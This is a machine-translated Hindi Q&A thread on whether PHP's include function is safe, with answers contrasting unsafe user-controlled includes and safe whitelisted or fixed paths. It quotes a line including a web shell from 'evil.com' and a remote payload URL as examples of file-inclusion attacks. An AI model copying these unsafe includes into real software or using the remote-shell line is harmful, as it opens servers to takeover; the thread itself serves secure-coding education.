2012-04-13 16 views
7

मैं अपनी वेबसाइट में हेडर या सत्र कक्षा जोड़ने के लिए "शामिल" फ़ंक्शन (e.x. "शामिल हैडर 2.php 'या" include' class.users.php '") का उपयोग कर रहा हूं। मुझे वास्तव में याद नहीं है, लेकिन मैंने सुना है कि हैकर दुर्व्यवहार, किसी भी तरह, यह "शामिल" चीज है, नकली शामिल पृष्ठ या ऐसा कुछ भेज रहा है। तो मूल रूप से मैं जानना चाहता हूं कि "शामिल" फ़ंक्शन के साथ क्या है, मैं इसकी रक्षा कैसे कर सकता हूं, वे इसका दुरुपयोग कैसे करते हैं और यदि मैं जो खोज रहा हूं उसके लिए बेहतर समाधान हैं।PHP - क्या "शामिल" फ़ंक्शन सुरक्षित है?

अग्रिम धन्यवाद।

+0

यदि किसी व्यक्ति के पास आपके PHP कोड तक पहुंच है, तो वे आपके सर्वर में हैं। पहले से समझौता किया गया कुछ सुरक्षित करने में कोई बात नहीं है। इसके बजाय, प्रविष्टि बिंदुओं को बंद करने पर ध्यान दें, उदाहरण के लिए, अपने सभी एप्लिकेशन की SQL इंजेक्शन भेद्यता को ठीक करना। – Blender

+0

मुद्दा यह है कि, मैंने सुना है कि 'शामिल "कुछ .php" असुरक्षित या हैकबल है, साथ ही एसक्यूएल इंजेक्शन भी है। क्या यह सच है? – user1327735

+0

यदि आप इसे गलत तरीके से उपयोग करते हैं तो कुछ भी शोषक है। जब तक आप स्थिर PHP फ़ाइलों को शामिल नहीं कर रहे हैं, तब तक आपके पास उस क्षेत्र में चिंता करने के लिए वास्तव में कुछ भी नहीं है। – Blender

उत्तर

13

यह सब इस पर निर्भर करता है कि आप इसे कैसे कार्यान्वित करते हैं। यदि आप विशेष रूप से पथ सेट करते हैं, तो यह सुरक्षित है। हमला तब हो सकता है जब आप उपयोगकर्ता इनपुट को sanitization या चेक के बिना फ़ाइल पथ निर्धारित करने की अनुमति देते हैं।

असुरक्षित (निर्देशिका Traversal)

<?php 
include($_GET['file']); 
?> 

असुरक्षित (URL fopen - यदि सक्षम हो)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

असुरक्षित

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

आंशिक रूप से असुरक्षित (* .php फ़ाइलों जोखिम रहता है)

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

सुरक्षित (हालांकि यकीन है कि क्यों किसी को भी इस करना होगा नहीं।)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

सुरक्षित

<?php 
include('./includes/somefile.php'); 
?> 
+0

क्या [यह] (http://stackoverflow.com/a/599694/2302051) सुरक्षित है? – MahdiY

1

शामिल सुरक्षित प्रदान की जाती है तुम नहीं:

  1. www.someoneelsesssite.com/something.php
  2. की तरह एक दूरस्थ फ़ाइल शामिल एक रास्ता है कि ग्राहक से आया से एक फ़ाइल को शामिल करें। www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. डेटाबेस की तरह संभवतः किसी अन्य संभावित स्रोत से फ़ाइल शामिल करें।

2 और 3 तकनीकी रूप से चेतावनी है कि यदि आप . या / या पर खिड़कियों की अनुमति नहीं देने \ आप शायद ठीक हैं। लेकिन अगर आपको नहीं पता कि क्यों, आप इसे जोखिम के लिए पर्याप्त नहीं जानते हैं। यहां तक ​​कि जब आपको लगता है कि डेटाबेस केवल या अन्यथा सुरक्षित है, तो यह मानना ​​बुद्धिमानी नहीं है कि जब तक आपको वास्तव में नहीं करना है, जो लगभग कभी नहीं होता है।

जैसा कि pp19dd का उत्तर बताता है। यह भी महत्वपूर्ण है कि आप .php एक्सटेंशन के साथ अपना नाम शामिल करें। यदि आपने PHP फ़ाइल के रूप में किसी अन्य फ़ाइल प्रकार को पार्स करने के लिए अपाचे (या जो भी वेब सर्वर आप उपयोग कर रहे हैं) सेट किया है, तो यह भी सुरक्षित है। लेकिन अगर आप निश्चित रूप से नहीं जानते हैं, तो विशेष रूप से .php का उपयोग करें।

+0

'open_basedir' अद्भुत काम करता है। – Halcyon

+0

@ फ़्रिट्स्वानकंपेन सहमत हुए, लेकिन एक सामान्य नियम के रूप में मैं इन दृष्टिकोणों से जवाब देने का प्रयास करता हूं कि जो भी इसे पूछने की ज़रूरत है, वह किसी भी तरह के जोखिम लेने के लिए तैयार नहीं है। यदि आपके कोड का कोई भी हिस्सा 'जादू' है तो आपको जोखिम नहीं लेना चाहिए। (जादू से, मेरा मतलब है कि यह एक मैकेनिक के आधार पर काम करता है जिसे आप समझ में नहीं आता) – DampeS8N

2

शामिल साथ दुर्व्यवहार किया जा सकता है अगर आप कुछ इस तरह करते हैं:

include($_GET["page"]); 

और फिर URL को कॉल:

myscript.php?page=index.php

हमलावरों तो hxxp://hackerz.ru/install_stuff.php के लिए index.php स्थानापन्न कर सकते हैं और अपने सर्वर ख़ुशी से चलेंगे यह।

include स्वयं पूरी तरह से सुरक्षित है। बस अपने इनपुट को हमेशा सत्यापित/बचाना सुनिश्चित करें।

1

सबसे अच्छी बात यह सुनिश्चित करना है कि जिस पृष्ठ को आप शामिल करने का प्रयास कर रहे हैं वह पहले मौजूद है। असली सुरक्षा त्रुटियां तब आती हैं जब आपका शामिल पृष्ठ किसी प्रकार के उपयोगकर्ता इनपुट से संसाधित होता है, जैसे यूआरएल वैरिएबल। ?include=page.php जब तक आप इनके बारे में सतर्क हैं, आपको ठीक होना चाहिए।

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 
+0

यह किसी भी चीज़ के खिलाफ आपकी रक्षा नहीं करेगा। आपकी पासवर्ड फ़ाइल एक फ़ाइल है, php.ini एक फ़ाइल है, सभी चीजें हमलावर मिलेंगे, फाइलें हैं। – DampeS8N

+0

@ DampeS8N: मैं यह इंगित करने की कोशिश नहीं कर रहा था कि यह करने का एकमात्र काम था, केवल यह कि प्रक्रिया में एक कदम था। मैंने अन्य कोड, "उपयोगकर्ता सत्यापन और ऐसे" डालने के बारे में एक टिप्पणी भी शामिल की। उपयोगकर्ता सत्यापन यह सुनिश्चित करने में सहायता करता है कि कोई भी "सदस्य" संवेदनशील पृष्ठ एक्सेस नहीं किया जाता है। दूसरा कोड फ़ाइल ब्लैकलिस्ट हो सकता है। मुझे नहीं पता कि आपने मेरा जवाब क्यों कम किया जब आपका जवाब अस्पष्ट था। – mseancole

+0

जो लोग नहीं जानते कि निर्देशिका ट्रैवर्सल हमलों के खिलाफ कैसे सुरक्षित किया जाए, उन्हें किसी भी परिस्थिति में गतिशील रूप से फ़ाइलों को शामिल करने का प्रयास नहीं करना चाहिए। आपका उत्तर 'सर्वोत्तम' चीज सुझाता है जो आप कर सकते हैं यह सुनिश्चित करता है कि फ़ाइल मौजूद है। प्रासंगिक सुरक्षा जानकारी अस्पष्ट नहीं है, यह अनुपस्थित है। मैंने आपको चोट पहुंचाने के लिए आपको कम नहीं किया है, और यदि आप आवश्यक जानकारी जोड़ते हैं तो मैं अनदेखा कर दूंगा। और मेरे उत्तर के अपने डाउनवोट को हटा दें या आप जो सोचते हैं उसके बारे में एक टिप्पणी छोड़ दें। – DampeS8N

3

शामिल साथ सबसे बड़ी समस्या संभवत: कुछ है कि स्वचालित रूप से वेब सर्वर द्वारा निष्पादित नहीं प्राप्त करता है करने के लिए PHP से फ़ाइल नाम एक्सटेंशन बदल रहा है। उदाहरण के लिए- library.inc, या config.inc। वेब ब्राउज़र के साथ इन फ़ाइलों को आमंत्रित करने से कोड को निष्पादित करने के बजाय कोड प्रकट होगा - और कोई भी पासवर्ड या शोषक संकेत दिखाए जाएंगे।

config.phpconfig.inc साथ उस में एक पासवर्ड हो सकता है की तुलना करें। Config.inc को खींचना ज्यादातर मामलों में दिखाएगा कि डेटाबेस पासवर्ड क्या था।

ऐसे प्रोग्रामर हैं जो पुस्तकालयों के लिए .inc एक्सटेंशन का उपयोग करते हैं। आधार यह है कि वे एक वेब सर्वर द्वारा सुलभ निर्देशिका में नहीं होंगे। हालांकि, कम सुरक्षा पैरानोइड प्रोग्रामर उस फ़ाइल को एक सुविधाजनक वेब निर्देशिका में डंप कर सकते हैं।

अन्यथा, सुनिश्चित करें कि आप किसी फ़ाइल स्ट्रिंग द्वारा सबमिट की गई फ़ाइल को शामिल नहीं करते हैं। पूर्व: include($_GET['menu_file']) < - यह बहुत गलत है।

+0

+1 फ़ाइल एक्सटेंशन के बारे में अच्छा नोट जिसे कोड के रूप में शामिल किया जा सकता है, लेकिन ब्राउज़र में अलग-अलग लोड होने पर आपका कोड सामने आएगा। – DampeS8N

+0

"इन फ़ाइलों को एक वेब ब्राउज़र के साथ आमंत्रित करने" का क्या मतलब है? मान लें कि आपके पास सार्वजनिक नाम "example.com" वाला सर्वर है। (1) अगर कोई जानता है कि "a.inc" नामक रूट निर्देशिका में कोई फ़ाइल है, तो क्या वे इसे "http: // example.com/a.inc'" पर देख सकते हैं? (2) अगर वे नहीं जानते कि किसी दिए गए निर्देशिका में .inc फाइलें मौजूद हैं, तो वे कैसे पता लगाएंगे? – Alan

2

कुछ भी सर्वर पक्ष (मानते हैं कि आपका सर्वर समझौता नहीं किया गया है) सुरक्षित है। ऐसा करने:

$var = $_GET['var']';  
include $var . ".php"; 

असुरक्षित है।

include "page.php"; 

सुरक्षित है।

+0

नोट: मान लीजिए 'page.php' सुरक्षित है। ;) –

+0

निश्चित रूप से, बशर्ते संदर्भित फ़ाइल भरोसेमंद और सुरक्षित है। – Blake

-1

मैं इस मेथ का उपयोग कर रहा हूँ आयुध डिपो।

<?php include (dirname(__FILE__).'/file.php'); 
+0

मुझे आशा है कि यह आपके लिए काम करता है लेकिन एक बेहतर उत्तर के लिए आप वास्तव में ** समझा सकते हैं ** यह क्यों काम करता है – jean

संबंधित मुद्दे